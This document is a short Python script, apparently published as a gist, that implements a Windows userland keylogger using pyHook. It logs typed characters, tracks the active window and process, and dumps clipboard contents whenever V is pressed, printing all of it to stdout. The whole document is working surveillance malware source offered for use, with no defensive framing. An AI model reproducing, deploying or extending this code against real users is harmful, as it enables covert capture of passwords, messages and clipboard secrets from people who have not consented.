Cheap Windows userland keylogger

WinKeyLog.py

"""
Simple UserLand Keylogger for Windows
Based on pyHook.

@_hugsy_
"""
import sys
from ctypes import *

try:
	import pythoncom, pyHook, win32clipboard
except ImportError as ie:
	print ("Missing package: %s" % ie)
	sys.exit(1)

activeWindow, activeProcessId, activeProcessName = None, None, None
buf = ""

def UpdateActiveProcess():
	hwnd = windll.user32.GetForegroundWindow()
	pid = c_ulong(0)
	exe = create_string_buffer("\x00" * 512)
	windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
	h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid)
	windll.psapi.GetModuleBaseNameA(h_process, None, byref(exe), 512)
	windll.kernel32.CloseHandle(hwnd)
	windll.kernel32.CloseHandle(h_process)
	return (pid.value, exe.value)
	
def DumpBuffer():
	global buf
	sys.stdout.write(buf) 
	sys.stdout.write("\n") 
	sys.stdout.flush()
	buf = ""
	return

def DumpClipboard():
	win32clipboard.OpenClipboard()
	data = win32clipboard.GetClipboardData()
	win32clipboard.CloseClipboard()
	return data 

def OnKeyDownHandler(event):
	global activeWindow, activeProcessId, activeProcessName, buf

	if event.WindowName != activeWindow:
		activeProcessId, activeProcessName = UpdateActiveProcess()
		activeWindow = event.WindowName

	if 32 <= event.Ascii < 128 :
		buf += chr(event.Ascii)
		return True

	if event.Ascii in (0x0d, 0x0a):
		DumpBuffer()
		return True

	if event.Key == "V":
		DumpBuffer()
		buf = "[Clipboard]\n" + DumpClipboard()
		DumpBuffer()	

	return True

if __name__ == "__main__":
	try:
		kl = pyHook.HookManager()
		kl.KeyDown = OnKeyDownHandler
		kl.HookKeyboard()
		pythoncom.PumpMessages()
	except KeyboardInterrupt:
		DumpBuffer()
	sys.exit(0)